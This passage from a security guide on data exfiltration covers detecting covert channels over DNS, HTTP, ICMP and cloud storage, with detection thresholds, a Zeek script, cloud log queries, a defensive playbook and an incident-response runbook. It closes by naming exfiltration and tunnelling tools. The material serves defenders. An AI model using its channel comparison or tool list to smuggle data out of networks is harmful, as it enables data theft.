| DNS tunneling | 5-50 Kbps | Medium | Very High |
| ICMP tunnel | 10-100 Kbps | Low-Medium | Medium |
| HTTP tunnel | 1-10 Mbps | Medium | High |
| SMTP/IMAP | 100-500 Kbps | Medium | Medium |
| Steganography | Variable | Very High | Low (manual) |
| Webhook (Slack/Discord) | 1-5 Mbps | Medium | High |
11. Covert Channel Detection
Detection Architecture
┌─────────────────────────────────────────────────────────┐
│ Detection Layers │
├─────────────────────────────────────────────────────────┤
│ L7: DLP / Content Inspection / SSL Decryption │
│ L4: NetFlow / Connection Metadata / Session Analysis │
│ L3: DNS Analytics / ICMP Anomaly / Protocol Analysis │
│ Host: EDR / Sysmon / auditd / Process Monitoring │
│ Cloud: CASB / Cloud Audit Logs / VPC Flow Logs │
└─────────────────────────────────────────────────────────┘
Detection by Channel Type
DNS Covert Channel Detection
| Indicator | Threshold | Tool/Data Source |
|---|---|---|
| Query length | >50 chars in subdomain | Passive DNS, Zeek dns.log |
| Subdomain entropy | Shannon entropy >3.5 | Custom analyzer, Zeek |
| Query volume | >100 queries/5min to single domain | DNS logs, SIEM correlation |
| TXT response size | >512 bytes (forces TCP) | DNS server logs |
| Unusual record types | NULL, SRV for non-service domains | Passive DNS |
| Domain age | <30 days registration | Threat intel feeds |
| Non-standard resolvers | Direct UDP/53 to non-corporate DNS | Firewall logs, NetFlow |
Zeek (Bro) DNS Anomaly Script:
event dns_request(c: connection, msg: dns_msg, query: string, qtype: count, qclass: count)
{
if ( |query| > 50 )
{
NOTICE([$note=DNS::Tunneling_Indicator,
$msg=fmt("Long DNS query: %s (%d chars)", query, |query|),
$conn=c,
$identifier=cat(c$id$orig_h)]);
}
}
HTTP/HTTPS Covert Channel Detection
| Indicator | Detection Method |
|---|---|
| WebSocket to non-CDN endpoints | Proxy logs, SSL inspection |
| Long-lived HTTP connections | NetFlow duration analysis |
| High upload-to-download ratio | Proxy metadata analysis |
| Non-browser User-Agent making web requests | Proxy logs |
| JA3 fingerprint mismatch | JA3/JA3S databases (Go, Python, curl vs browser) |
| POST to single URL with varying payload sizes | WAF/proxy logs |
| Beaconing patterns (regular intervals) | Time-series analysis, Rita/ACID |
ICMP Detection
| Indicator | Threshold |
|---|---|
| Payload size | >64 bytes data |
| Packet rate | >10 ICMP echo/min from single host |
| Payload entropy | >6.0 (encrypted/encoded data) |
| ICMP from servers | Servers should not initiate ICMP outbound |
| Type 0/8 only traffic | Lack of other ICMP types suggests tunnel |
Cloud Exfiltration Detection
# AWS CloudTrail query — unusual S3 uploads
SELECT eventTime, userIdentity.arn, requestParameters.bucketName,
requestParameters.key, sourceIPAddress
FROM cloudtrail_logs
WHERE eventName IN ('PutObject', 'CreateMultipartUpload', 'UploadPart')
AND requestParameters.bucketName NOT IN ('known-internal-buckets')
AND sourceIPAddress NOT IN ('known-cidr-ranges')
ORDER BY eventTime DESC
# Azure KQL — blob uploads to external storage
StorageBlobLogs
| where OperationName == "PutBlob" or OperationName == "PutBlock"
| where AccountName !in ("internalaccount1", "internalaccount2")
| where CallerIpAddress !startswith "10."
| project TimeGenerated, AccountName, Uri, CallerIpAddress, UserAgentHeader
Network Behavioral Analytics
Beaconing Detection (RITA/AC-Hunter):
# RITA (Real Intelligence Threat Analytics) — analyze Zeek logs
rita import /opt/zeek/logs/current mydataset
rita show-beacons mydataset
# Look for:
# - Regular time intervals between connections (jitter analysis)
# - Consistent data sizes per session
# - Low connection count with high data volume
# - Connections to IPs/domains with low global popularity
NetFlow-Based Anomaly Detection:
# High-value NetFlow indicators for exfiltration:
1. Sessions with bytes_out >> bytes_in (upload-heavy)
2. Long-duration sessions to external IPs (>30 min)
3. Sessions during off-hours (22:00-06:00)
4. High packet count with small payloads (tunneling signature)
5. Traffic to IPs in uncommon ASNs or geolocations
12. Defensive Playbook
Prevention Controls
| Control | Implementation | MITRE Mitigation |
|---|---|---|
| DNS sinkholing/filtering | Block known-bad domains; restrict DNS to internal resolvers only | M1037 |
| Forced proxy with SSL inspection | All HTTP/S through proxy with TLS intercept | M1037, M1031 |
| DLP at egress | Content-aware inspection on proxy, email, and cloud | M1057 |
| ICMP rate limiting | Firewall: max 1 ICMP echo/sec per source, max 64-byte payload | M1037 |
| Cloud access security broker (CASB) | Control and monitor cloud service usage | M1021 |
| Network segmentation | Zero trust microsegmentation; deny-by-default between zones | M1030 |
| Endpoint detection | EDR monitoring for archive creation, unusual network tools, raw sockets | Host-based |
| Least-privilege network access | Only allow required protocols/ports per host role | M1030 |
Detection Priorities (Ordered by ROI)
- DNS analytics — highest signal-to-noise for tunneling detection; deploy passive DNS monitoring and entropy analysis
- NetFlow/connection metadata — detect beaconing, unusual upload ratios, long sessions without deep packet inspection
- Proxy log analysis — User-Agent anomalies, JA3 fingerprints, WebSocket abuse, unusual cloud API calls
- CloudTrail/Azure Activity Log — cloud exfiltration attempts leave audit trails; monitor for cross-account operations
- EDR process chain analysis — archive creation → network tool execution → outbound connection pattern
- ICMP baseline + anomaly — easy win; most environments have predictable ICMP patterns
Incident Response — Exfiltration Detected
[EXFILTRATION DETECTED] Runbook
Triage (0-15 min):
□ Identify source host, destination, protocol, and data volume
□ Determine if exfiltration is ongoing or completed
□ Classify data sensitivity (PII, financial, IP, credentials)
□ Assign severity: Critical if PII/credentials, High if IP, Medium otherwise
Containment (15-60 min):
□ Block destination IP/domain at firewall/proxy (do NOT alert attacker if APT)
□ Isolate source host (network quarantine, not shutdown — preserve memory)
□ Revoke credentials used on compromised host
□ Block identified C2 channels across all egress points
Evidence Preservation:
□ Memory capture (LiME/WinPMEM) BEFORE any remediation
□ Disk image or triage collection (KAPE/Velociraptor)
□ Preserve DNS logs, proxy logs, NetFlow for the incident window
□ Screenshot running processes and network connections
Eradication:
□ Remove attacker persistence mechanisms
□ Patch entry vector
□ Rotate all credentials on compromised hosts
□ Scan for lateral movement indicators
Recovery:
□ Rebuild compromised hosts from known-good images
□ Restore from verified clean backups if data was destroyed
□ Re-enable network access with enhanced monitoring
Post-Incident:
□ Timeline reconstruction
□ Data impact assessment — what was exfiltrated?
□ Regulatory notification assessment (GDPR Art. 33: 72-hour window)
□ Detection gap analysis — why wasn't this caught sooner?
□ Update detection rules based on observed TTPs
Escalation Triggers:
□ PII/PHI confirmed exfiltrated → Legal, Privacy Officer, DPO
□ Credentials exfiltrated → enterprise-wide password reset
□ Source code exfiltrated → assess supply chain impact
□ Ongoing exfiltration → CISO, consider law enforcement
References
MITRE ATT&CK
- TA0010 Exfiltration: https://attack.mitre.org/tactics/TA0010/
- TA0009 Collection: https://attack.mitre.org/tactics/TA0009/
- T1048 Exfil Over Alternative Protocol: https://attack.mitre.org/techniques/T1048/
- T1567 Exfil Over Web Service: https://attack.mitre.org/techniques/T1567/
- T1041 Exfil Over C2 Channel: https://attack.mitre.org/techniques/T1041/
- T1074 Data Staged: https://attack.mitre.org/techniques/T1074/
Tools Referenced
- dnscat2: https://github.com/iagox86/dnscat2
- iodine: https://github.com/yarrick/iodine
- DNSExfiltrator: https://github.com/Arno0x/DNSExfiltrator
- chisel: https://github.com/jpillora/chisel
- ligolo-ng: https://github.com/nicocha30/ligolo-ng
- sshuttle: https://github.com/sshuttle/sshuttle
- reGeorg: https://github.com/sensepost/reGeorg
- rpivot: https://github.com/klsecservices/rpivot
- Invoke-SocksProxy: https://github.com/p3nt4/Invoke-SocksProxy
- DET: https://github.com/sensepost/DET
- SET: https://github.com/trustedsec/social-engineer-toolkit